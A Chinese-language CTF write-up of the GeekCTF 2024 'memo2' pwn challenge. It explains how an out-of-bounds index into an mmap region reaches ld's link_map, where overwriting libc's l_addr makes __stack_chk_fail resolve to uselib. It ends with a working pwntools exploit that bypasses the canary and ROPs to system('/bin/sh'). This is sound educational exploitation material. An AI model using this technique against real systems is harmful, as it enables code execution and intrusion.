ret2dlresolve之劫持l_addr

0x00 前言

本来这篇文章想5月份写的,拖到了现在。其实是之前在VN面试的时候Qanux师傅给我做的几道题里的其中一道要用到这个技术,也是第一次见,所以打算记录一下。后来题目做了三天,才发现是24年geekCTF的memo2。接下来就从这道题讲讲劫持l_addr绕过栈溢出检测或者getshell的思路,以及调试方法。

0x01 题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int v4; // [rsp+8h] [rbp-8h]

sub_1614(a1, a2, a3);
puts("===================Memo Login===================");
login();
v4 = 0;
while ( 1 )
{
switch ( (unsigned int)sub_195C() )
{
case 1u:
v4 += sub_185B(v4);
break;
case 2u:
puts("Content:");
puts(qword_4130);
break;
case 3u:
sub_18CC(v4);
break;
case 4u:
v4 = 0;
memset(qword_4130, 0, 0x2000uLL);
break;
case 5u:
sub_1A19(v4);
_exit(0);
default:
puts("Error Choice!");
return 0LL;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
void *sub_1614()
{
alarm(0x3Cu);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
qword_4130 = (char *)mmap(0LL, 0x2000uLL, 3, 33, -1, 0LL);
if ( !qword_4130 )
exit(-2);
return memset(qword_4130, 0, 0x2000uLL);
}

可以看到这里申请了一块mmap地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 login()
{
size_t v0; // rax
size_t v1; // rax
void *s1; // [rsp+8h] [rbp-38h]
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
printf("Please enter your password: ");
__isoc99_scanf("%29s", s);
v0 = strlen(s);
s1 = (void *)sub_1349(s, v0);
if ( !s1 )
{
puts("Error!");
exit(-1);
}
v1 = strlen(s2);
if ( memcmp(s1, s2, v1) )
{
puts("Password Error.");
exit(-1);
}
puts("Login Success!");
free(s1);
return v5 - __readfsqword(0x28u);
}

这里的password在IDA里解密base64(这个base64应该很好识别,看不出来的话找逆向手吧)的话,会得到错误的结果(IDA的问题),所以要通过动调来获得正确的密文,再解密为密码,是CTF_is_interesting_isn0t_it?。(密文查看命令:tele $rebase(0x40C0))

其他地方没什么漏洞,我们直接看case5的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 sub_1A19()
{
int v1; // [rsp+1Ch] [rbp-24h] BYREF
char src[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Where would you like to sign(after the content): ");
__isoc99_scanf("%u", &v1);
if ( qword_4130[v1] )
{
printf("You will overwrite some content: ");
write(1, &qword_4130[v1], 8uLL);
}
printf("Enter your name: ");
sub_17E9(src, 80LL);
strncpy(&qword_4130[v1], src, 0x10uLL);
return v3 - __readfsqword(0x28u);
}

这里有一个神奇的漏洞,程序以无符号int格式输入了一个数到int变量里,也就是那个v1。接着程序以v1为前面申请的mmap那块地址的下标,先读取8字节,然后写入16字节。很容易发现这里src是存在栈溢出漏洞的,但是程序开启了canary。也很容易发现这里有下标越界的漏洞,并且因为v1变量是int类型的,所以既可以向前也可以向后越界进行限定字节数的任意读写。

0x02 尝试过但无果的思路

  1. 因为程序开了canary,肯定不能直接rop。既然有下标越界,第一时间想到的是劫持tls结构体。但是虽然这样就能泄露canary了,但是没法泄露libc地址。如果选择在tls结构体内泄露libc地址的话,很遗憾的是,没有办法修改canary的值,因为tls结构体中libc地址与canary值距离32个字节,所以这个思路是行不通的。
  2. exit hook肯定打不了,因为程序直接_exit()退出了。
  3. 下标直接打到栈上,实现不了因为数字太大了。
  4. 无法劫持IO的路子,因为读写字节数不够用。
  5. 无法劫持libc的got表。原本尝试劫持stack_chk_fail的,但是只一个got表函数的话没法满足ogg条件,如果要劫持两个got表函数,需要这两个函数挨在一起,因为程序只能连续写16字节,很可惜找不到这样的gadget,所以行不通。

正确思路

所以这里考虑ret2dlresolve。这个技术涉及比较多的情况和知识点,这篇文章只是针对其中一种网上比较少提及的劫持方法。这个思路来源,其实是因为那块mmap地址,我们在2.35的本地环境下(应该和靶机是不一样的)用vmmap看一下那块地址的位置:vmmap不难发现mmap地址被加载在了libc和ld之间,那么我们通过下标就能很方便的打到ld。

之前在研究exit hook源码的时候提过一嘴,ld负责将与程序有关的文件(模块)映射到进程空间中,然后将相关记录存到__rtld_global中。再准确一点,他们被记录在了struct link_map *_ns_loaded;中。每个模块用_ns_loaded描述, 这个命名空间中所映射的模块组成一个双向链表, _ns_loaded就是这个链表的指针。我们回顾一下link_map结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
//模块的基地址
ElfW(Addr) l_addr; /* Difference between the address in the ELF file and the addresses in memory. */ //模块的基地址
char *l_name; /* Absolute file name object was found in. */ //模块的文件名
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ //指向elf的dyn节
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */

/* All following members are internal to the dynamic linker.
They may change without notice. */

/* This is an element which is only ever different from a pointer to
the very same copy of this type for ld.so when it is used in more
than one namespace. */
struct link_map *l_real;

/* Number of the namespace this link map belongs to. */
Lmid_t l_ns; //模块所属命名空间的idx

struct libname_list *l_libname;
/* Indexed pointers to dynamic section.
[0,DT_NUM) are indexed by the processor-independent tags.
[DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
[DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
indexed by DT_VERSIONTAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
DT_EXTRATAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
indexed by DT_VALTAGIDX(tagvalue) and
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */
/*
l_info是ELF节描述符组成的的数组
ELF中一个节, 使用一个ElfW(Dyn)描述
各个类型的节在l_info中的下标固定, 因此可以通过下标来区分节的类型
*/
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
const ElfW(Phdr) *l_phdr; /* Pointer to program header table in core. */ //elf的头表
ElfW(Addr) l_entry; /* Entry point location. */ //elf的入口
ElfW(Half) l_phnum; /* Number of program header entries. */ //头表的节数
ElfW(Half) l_ldnum; /* Number of dynamic segment entries. */ //dyn中的描述符数量

...
};

我们的主角l_addr,注意到他记录了每个模块的基地址。一般来说,ld是第一个被加载的模块,libc是第二个。因此我们可以通过固定偏移直接得到libc的基地址。

获得基址之后要干什么呢?如果我们想要利用栈溢出进行rop,那么必须绕过stack_chk_fail函数。libc被载入后,基地址被记录下来,接下来调用libc中的函数,会通过这个基址加上函数在libc中的偏移计算函数的真实地址。所以如果我们劫持libc对应的l_addr减去或加上一定偏移,就能使stack_chk_fail函数被解析成其他函数。

当然这个l_addr也不能乱修改。举个例子,如果解析到了另一个函数A,但是函数A内原本还会调用函数B,这个函数B也会被解析成一个错误的函数,可能就会因为寄存器等一系列问题而导致程序卡住。所以绕过stack_chk_fail函数,一般要找不怎么受寄存器影响也不怎么会影响寄存器的函数。uselib就是这么完美的一个函数(unshare也行)。

这样操作下来,就算程序检测到了栈溢出,也只会执行一个没什么影响的函数,我们可以继续安心的执行ROP。

看到这里有同学可能会问了,为什么不直接让它解析为onegadget呢?很简单,因为寄存器条件并不能满足

0x03 分析调试

接下来我们看看怎么调试找到我们想要的l_addr的偏移。在pwndbg中输入p/x _rtld_global._dl_rtld_map就能看到关于ld的模块信息。ld的模块信息我们沿着l_prev继续向下寻找libc。输入p/x *(struct link_map *) _rtld_global._dl_rtld_map.l_prevlibc的模块信息可以看到我们就得到了libc基址。我们顺便再看一眼l_name:

1
2
pwndbg> p _rtld_global._dl_rtld_map.l_prev.l_name
$3 = 0x7ffff7fbb140 "/lib/x86_64-linux-gnu/libc.so.6"

这个l_name最好不要改动,所幸他与libc的偏移也是固定的,所以可以原封不动地写回去。

而下标的计算也很简单了,用调试中的_rtld_global._dl_rtld_map.l_prev减去mmap地址基地址就能得到。

到这,思路明了了,但是还要注意一个问题,程序中只有当下标达到的地方内容不为\x00才会输出8字节,但是如果直接按照上面下标的计算方法的话,第一个字节就是\x00,那就不会输出地址了,这是因为libc基址最低一个字节就是\x00,所以下标要加一。这样的话,写十六字节的时候就会写到l_ld的低一字节,这个字节是不会改变的,一直都是\xc0,payload里补上就行。

0x04 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level = 'debug'
r = process('./memo2')
e = ELF('./memo2')
libc = ELF('./libc.so.6')

# enc要通过gdb获取,ida上的是错的(tele 0x5555555580c0)
pwd = b'CTF_is_interesting_isn0t_it?'
r.recvuntil(b'password:')
r.sendline(pwd)

printf = 0x606F0
stack_chk_fail = 0x136550
offset_mmap_libclinkmap = 0x7fd4a6884160-0x7fd4a6882000
offset_true_fake_l_addr = libc.sym['uselib']-stack_chk_fail
offset_name_base = 0x7ffff7fbb140-0x7ffff7d88000

r.recvuntil(b'Your choice:')
r.sendline(b'5')
r.recvuntil(b'content): ')
r.sendline(str(offset_mmap_libclinkmap+1).encode()) # 第一个字节是\x00,不会有回显的
r.recvuntil(b'content: ')
libc_base = u64((r.recv(5).rjust(6, b'\x00')).ljust(8, b'\x00'))
log.success(hex(libc_base))

system = libc_base+libc.symbols['system']
binsh = libc_base+next(libc.search(b'/bin/sh'))
pop_rdi = libc_base+0x2a3e5
ret = libc_base+0x29139

# gdb.attach(r, 'b *$rebase(0x1B0A)')
# pause()
r.recvuntil(b'name: ')
payload = p64(libc_base+offset_true_fake_l_addr)[1:] + \
p64(libc_base+offset_name_base)+b'\xC0'
payload = payload.ljust(0x28, b'a')
payload += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)

r.sendline(payload)

r.interactive()

0x05 后记

这题还有其他解法,比如Qanux师傅选择劫持l_info[5],伪造symtab,来达到将函数解析成另一个函数的效果,这种做法网上解释比较多,不多赘述。非常感谢xswlhh师傅和Qanux师傅给我机会进V&N战队认识到更多强大的师傅,和这些大爹们一起打比赛。同时非常感谢xf1les爷总是耐心解答我的问题。Orz

考完期末之后应该会找时间把GeekCTF2024的题目全部复现一遍,题目质量还是非常高的,能学到不少东西。

⬆︎TOP